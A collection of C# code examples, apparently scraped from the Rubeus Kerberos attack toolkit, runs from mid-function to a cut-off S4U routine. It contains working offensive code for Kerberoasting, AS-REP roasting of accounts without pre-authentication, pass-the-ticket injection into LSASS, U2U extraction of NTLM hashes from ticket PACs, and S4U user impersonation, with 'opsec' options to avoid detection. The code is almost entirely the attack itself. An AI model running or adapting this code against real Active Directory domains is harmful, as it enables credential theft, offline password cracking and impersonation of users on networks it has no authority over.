            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
Example #12
0
        public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string service, bool ptt, string domainController = "", bool display = true)
        {
            if (display)
            {
                Console.WriteLine("[*] Action: Ask TGS\r\n");
            }

            // grab the default DC if none was supplied
            if (String.IsNullOrEmpty(domainController))
            {
                domainController = Networking.GetDCName();
                if (String.IsNullOrEmpty(domainController))
                {
                    return(null);
                }
            }

            System.Net.IPAddress[] dcIP;
            try
            {
                dcIP = System.Net.Dns.GetHostAddresses(domainController);
            }
            catch (Exception e)
            {
                Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
                return(null);
            }
            if (display)
            {
                Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
                Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, etype, false);

            byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] TGS request successful!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                    return(kirbiBytes);
                }
                else
                {
                    return(kirbiBytes);
                }
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Example #13
0
        public static void Kerberoast(string spn = "", bool adminCount = false, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", int delay = 0, int jitter = 0)
        {
            Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n");

            if (TGT != null)
            {
                Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
            }
            else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
            {
                Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
                byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
                TGT = new KRB_CRED(delegTGTbytes);
                Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
            }
            else
            {
                Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
                Console.WriteLine("[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
            }

            if (!String.IsNullOrEmpty(spn))
            {
                Console.WriteLine("\r\n[*] Target SPN             : {0}", spn);

                if (TGT != null)
                {
                    // if a TGT .kirbi is supplied, use that for the request
                    //      this could be a passed TGT or if TGT delegation is specified
                    GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, dc, Interop.KERB_ETYPE.rc4_hmac);
                }
                else
                {
                    // otherwise use the KerberosRequestorSecurityToken method
                    GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
                }
            }
            else
            {
                if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
                {
                    if (!String.IsNullOrEmpty(userName))
                    {
                        Console.WriteLine("[*] Target User            : {0}", userName);
                    }
                    if (!String.IsNullOrEmpty(domain))
                    {
                        Console.WriteLine("[*] Target Domain          : {0}", domain);
                    }
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("[*] Target OU              : {0}", OUName);
                    }
                }

                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;
                string            bindPath        = "";
                string            domainPath      = "";

                try
                {
                    if (cred != null)
                    {
                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
                        }
                        else
                        {
                            bindPath = String.Format("LDAP://{0}", cred.Domain);
                        }
                    }
                    else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
                    {
                        if (String.IsNullOrEmpty(dc))
                        {
                            dc = Networking.GetDCName();
                        }

                        bindPath = String.Format("LDAP://{0}", dc);

                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("{0}/{1}", bindPath, ouPath);
                        }
                        else if (!String.IsNullOrEmpty(domain))
                        {
                            domainPath = domain.Replace(".", ",DC=");
                            bindPath   = String.Format("{0}/DC={1}", bindPath, domainPath);
                        }
                    }

                    if (!String.IsNullOrEmpty(bindPath))
                    {
                        directoryObject = new DirectoryEntry(bindPath);
                    }
                    else
                    {
                        directoryObject = new DirectoryEntry();
                    }

                    if (cred != null)
                    {
                        // if we're using alternate credentials for the connection
                        string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
                        directoryObject.Username = userDomain;
                        directoryObject.Password = cred.Password;

                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
                        {
                            if (!pc.ValidateCredentials(cred.UserName, cred.Password))
                            {
                                Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
                                return;
                            }
                            else
                            {
                                Console.WriteLine("[*] Using alternate creds  : {0}", userDomain);
                            }
                        }
                    }

                    userSearcher = new DirectorySearcher(directoryObject);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userFilter = "";
                    if (!String.IsNullOrEmpty(userName))
                    {
                        // searching for a specified user
                        userFilter = String.Format("(samAccountName={0})", userName);
                    }
                    else
                    {
                        // if no user specified, filter out the krbtgt account
                        userFilter = "(!samAccountName=krbtgt)";
                    }

                    string encFilter = "";
                    if (String.Equals(supportedEType, "rc4opsec"))
                    {
                        // "opsec" RC4, meaning don't RC4 roast accounts that support AES
                        Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
                        encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }
                    else if (String.Equals(supportedEType, "aes"))
                    {
                        // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 ->  supported etypes includes AES128/256
                        Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
                        encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }

                    // Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
                    //       then RC4 tickets would NOT be returned, so the original filter was:
                    //  !msds-supportedencryptiontypes=*                        ->  null supported etypes, so RC4
                    //  msds-supportedencryptiontypes=0                         ->  no supported etypes specified, so RC4
                    //  msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 ->  supported etypes includes RC4
                    //  userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";

                    //  But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
                    //      so this fine-grained filtering is not needed


                    // samAccountType=805306368                                 ->  user account
                    // serviceprincipalname=*                                   ->  non-null SPN
                    // admincount=1                                             -> admin count set
                    string adminCountFilter = "";
                    if (adminCount == true)
                    {
                        Console.WriteLine("[+] Searching for admincount users...");
                        adminCountFilter = "(admincount=1)";
                    }
                    string userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, adminCountFilter);
                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("\r\n[X] No users found to Kerberoast!");
                    }
                    else
                    {
                        Console.WriteLine("\r\n[*] Found {0} user(s) to Kerberoast!", users.Count);
                    }

                    foreach (SearchResult user in users)
                    {
                        string samAccountName                   = user.Properties["samAccountName"][0].ToString();
                        string distinguishedName                = user.Properties["distinguishedName"][0].ToString();
                        string servicePrincipalName             = user.Properties["servicePrincipalName"][0].ToString();
                        Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
                        if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
                        {
                            supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
                        }
                        Console.WriteLine("\r\n[*] SamAccountName         : {0}", samAccountName);
                        Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);
                        Console.WriteLine("[*] ServicePrincipalName   : {0}", servicePrincipalName);
                        Console.WriteLine("[*] Supported ETypes       : {0}", supportedETypes);

                        if (!String.IsNullOrEmpty(domain))
                        {
                            servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
                        }
                        if (TGT != null)
                        {
                            // if a TGT .kirbi is supplied, use that for the request
                            //      this could be a passed TGT or if TGT delegation is specified

                            if (String.Equals(supportedEType, "rc4") &&
                                (
                                    ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
                                    ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
                                )
                                )
                            {
                                // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
                                GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, Interop.KERB_ETYPE.rc4_hmac);
                            }
                            else
                            {
                                // otherwise don't force RC4 - have all supported encryption types for opsec reasons
                                GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc);
                            }
                        }
                        else
                        {
                            // otherwise use the KerberosRequestorSecurityToken method
                            GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile);
                        }

                        var timeToSleep = Helpers.RandomDelayWithJitter(delay, jitter);
                        if (timeToSleep != 0)
                        {
                            Thread.Sleep(timeToSleep);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Example #14
0
        public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, string proxyUrl = null)
        {
            byte[] response       = null;
            AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, etype, true);

            byte[] reqBytes = NoPreAuthASREQ.Encode().Encode();

            if (String.IsNullOrEmpty(proxyUrl))
            {
                string dcIP = Networking.GetDCIP(domainController, true, domain);
                if (String.IsNullOrEmpty(dcIP))
                {
                    return(false);
                }

                response = Networking.SendBytes(dcIP, 88, reqBytes);
            }
            else
            {
                KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(reqBytes);
                message.target_domain = NoPreAuthASREQ.req_body.realm;
                response = Networking.MakeProxyRequest(proxyUrl, message);
            }

            if (response == null)
            {
                return(false);
            }

            // decode the supplied bytes to an AsnElt object
            AsnElt responseAsn = AsnElt.Decode(response);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP)
            {
                Console.WriteLine("[-] AS-REQ w/o preauth successful! {0} has pre-authentication disabled!", userName);

                byte[] kirbiBytes = HandleASREP(responseAsn, etype, keyString, outfile, ptt, luid, describe, verbose);

                return(true);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                if (error.error_code == (int)Interop.KERBEROS_ERROR.KDC_ERR_PREAUTH_REQUIRED)
                {
                    Console.WriteLine("[!] Pre-Authentication required!");
                    foreach (PA_DATA pa_data in (List <PA_DATA>)error.e_data)
                    {
                        if (pa_data.type is Interop.PADATA_TYPE.ETYPE_INFO2)
                        {
                            if (((ETYPE_INFO2_ENTRY)pa_data.value).etype == (int)Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                            {
                                Console.WriteLine("[!]\tAES256 Salt: {0}", ((ETYPE_INFO2_ENTRY)pa_data.value).salt);
                            }
                        }
                    }
                }
            }
            return(false);
        }
Example #15
0
        private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
        {
            // parse the response to an AS-REP
            AS_REP rep = new AS_REP(responseAsn);

            // convert the key string to bytes
            byte[] key;
            if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
            {
                // generate the decryption key using Diffie Hellman shared secret
                PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
                key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
                                                    pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
            }
            else
            {
                // convert the key string to bytes
                key = Helpers.StringToByteArray(keyString);
            }

            if (rep.enc_part.etype != (int)etype)
            {
                // maybe this should be a fatal error instead of just a warning?
                Console.WriteLine($"[!] Warning: Supplied encyption key type is {etype} but AS-REP contains data encrypted with {(Interop.KERB_ETYPE)rep.enc_part.etype}");
            }

            // decrypt the enc_part containing the session key/etc.

            byte[] outBytes;

            if (etype == Interop.KERB_ETYPE.des_cbc_md5)
            {
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.rc4_hmac)
            {
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
            {
                // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
            {
                // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else
            {
                throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
            }

            AsnElt ae            = null;
            bool   decodeSuccess = false;

            try
            {
                ae = AsnElt.Decode(outBytes);
                // Make sure the data has expected value so we know decryption was successful (from kerberos spec: EncASRepPart ::= [APPLICATION 25] )
                if (ae.TagValue == 25)
                {
                    decodeSuccess = true;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Error parsing encrypted part of AS-REP: " + ex.Message);
            }

            if (decodeSuccess == false)
            {
                Console.WriteLine($"[X] Failed to decrypt TGT using supplied password/hash. If this TGT was requested with no preauth then the password supplied may be incorrect or the data was encrypted with a different type of encryption than expected");
                return(null);
            }

            EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

            // now build the final KRB-CRED structure
            KRB_CRED cred = new KRB_CRED();

            // add the ticket
            cred.tickets.Add(rep.ticket);

            // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

            KrbCredInfo info = new KrbCredInfo();

            // [0] add in the session key
            info.key.keytype  = encRepPart.key.keytype;
            info.key.keyvalue = encRepPart.key.keyvalue;

            // [1] prealm (domain)
            info.prealm = encRepPart.realm;

            // [2] pname (user)
            info.pname.name_type   = rep.cname.name_type;
            info.pname.name_string = rep.cname.name_string;

            // [3] flags
            info.flags = encRepPart.flags;

            // [4] authtime (not required)

            // [5] starttime
            info.starttime = encRepPart.starttime;

            // [6] endtime
            info.endtime = encRepPart.endtime;

            // [7] renew-till
            info.renew_till = encRepPart.renew_till;

            // [8] srealm
            info.srealm = encRepPart.realm;

            // [9] sname
            info.sname.name_type   = encRepPart.sname.name_type;
            info.sname.name_string = encRepPart.sname.name_string;

            // add the ticket_info into the cred object
            cred.enc_part.ticket_info.Add(info);

            byte[] kirbiBytes = cred.Encode().Encode();

            if (verbose)
            {
                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }
            }

            if (!String.IsNullOrEmpty(outfile))
            {
                outfile = Helpers.MakeValidFileName(outfile);
                if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                {
                    if (verbose)
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                    }
                }
            }

            if (ptt || ((ulong)luid != 0))
            {
                // pass-the-ticket -> import into LSASS
                LSA.ImportTicket(kirbiBytes, luid);
            }

            if (describe)
            {
                KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
            }

            if (getCredentials)
            {
                Console.WriteLine("[*] Getting credentials using U2U\r\n");
                byte[] u2uBytes    = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
                byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
                if (u2uResponse == null)
                {
                    return(null);
                }
                AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);

                // check the response value
                int responseTag = u2uResponseAsn.TagValue;

                if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
                {
                    // parse the response to an TGS-REP and get the PAC
                    TGS_REP       u2uRep           = new TGS_REP(u2uResponseAsn);
                    EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
                    PACTYPE       pt = u2uEncTicketPart.GetPac(key);

                    // look for the credential information and print
                    foreach (var pacInfoBuffer in pt.PacInfoBuffers)
                    {
                        if (pacInfoBuffer is PacCredentialInfo ci)
                        {
                            Console.WriteLine("  CredentialInfo         :");
                            Console.WriteLine("    Version              : {0}", ci.Version);
                            Console.WriteLine("    EncryptionType       : {0}", ci.EncryptionType);

                            if (ci.CredentialInfo.HasValue)
                            {
                                Console.WriteLine("    CredentialData       :");
                                Console.WriteLine("      CredentialCount    : {0}", ci.CredentialInfo.Value.CredentialCount);

                                foreach (var credData in ci.CredentialInfo.Value.Credentials)
                                {
                                    string hash = "";
                                    if ("NTLM".Equals(credData.PackageName.ToString()))
                                    {
                                        int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
                                        int flags   = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
                                        if (flags == 3)
                                        {
                                            hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
                                        }
                                        else
                                        {
                                            hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
                                        }
                                    }
                                    else
                                    {
                                        hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
                                    }

                                    Console.WriteLine("       {0}              : {1}", credData.PackageName, hash);
                                }
                            }
                            else
                            {
                                Console.WriteLine("    CredentialData    :   *** NO KEY ***");
                            }
                        }
                    }
                }
                else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
                {
                    // parse the response to an KRB-ERROR
                    KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
                    Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
                }
                else
                {
                    Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                }
            }

            return(kirbiBytes);
        }
Example #16
0
        public static byte[] TGS(string userName, string domain, Ticket providedTicket, EncryptionKey key,
                                 string service, bool ptt, string domainController = "", bool display = true)
        {
            if (display)
            {
                Console.WriteLine("[*] Action: Ask TGS\r\n");
            }
            string dcIP = Networking.GetDCIP(domainController, display);

            if (string.IsNullOrEmpty(dcIP))
            {
                return(null);
            }
            if (display)
            {
                Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
            }
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, key.keyvalue, key.keytype, false);
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] TGS request successful!");
                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[] outBytes = Crypto.KerberosDecrypt(key.keytype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY,
                                                         key.keyvalue, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();
                // add the ticket
                cred.Tickets.Add(rep.ticket);
                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;
                // [1] prealm (domain)
                info.prealm = encRepPart.realm;
                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;
                // [3] flags
                info.flags = encRepPart.flags;
                // [4] authtime (not required)
                // [5] starttime
                info.starttime = encRepPart.starttime;
                // [6] endtime
                info.endtime = encRepPart.endtime;
                // [7] renew-till
                info.renew_till = encRepPart.renew_till;
                // [8] srealm
                info.srealm = encRepPart.realm;
                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.EncryptedPart.ticket_info.Add(info);
                byte[] kirbiBytes = cred.Encode().Encode();

                if (display)
                {
                    Helpers.DisplayKerberosTicket(kirbiBytes);
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                }
                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.FirstElement);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.ErrorCode, (Interop.KERBEROS_ERROR)error.ErrorCode);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Example #17
0
        public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt,
                                   string domainController = "", string altService = "")
        {
            Console.WriteLine("[*] Action: S4U\r\n");
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.EncryptedPart.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.EncryptedPart.ticket_info[0].prealm;
            Ticket ticket   = kirbi.Tickets[0];

            byte[]             clientKey = kirbi.EncryptedPart.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype;
            string             dcIP      = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
            Console.WriteLine("[*]   Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!string.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                Console.WriteLine((1 == altSnames.Length)
                    ? "[*]   Final ticket will be for the alternate service '{0}'"
                    : "[*]   Final tickets will be for the alternate services '{0}'",
                                  altService);
            }
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype,
                                                false, targetUser);
            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (null == response)
            {
                return;
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 13:
                Console.WriteLine("[+] S4U2self success!");
                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
                // TODO: ensure the cname contains the name of the user! otherwise s4u not supported
                Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
                TGS_REQ s4u2proxyReq = new TGS_REQ();
